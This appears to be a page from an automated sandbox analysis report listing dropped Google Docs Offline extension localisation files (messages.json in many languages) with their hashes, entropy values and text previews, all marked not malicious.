Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
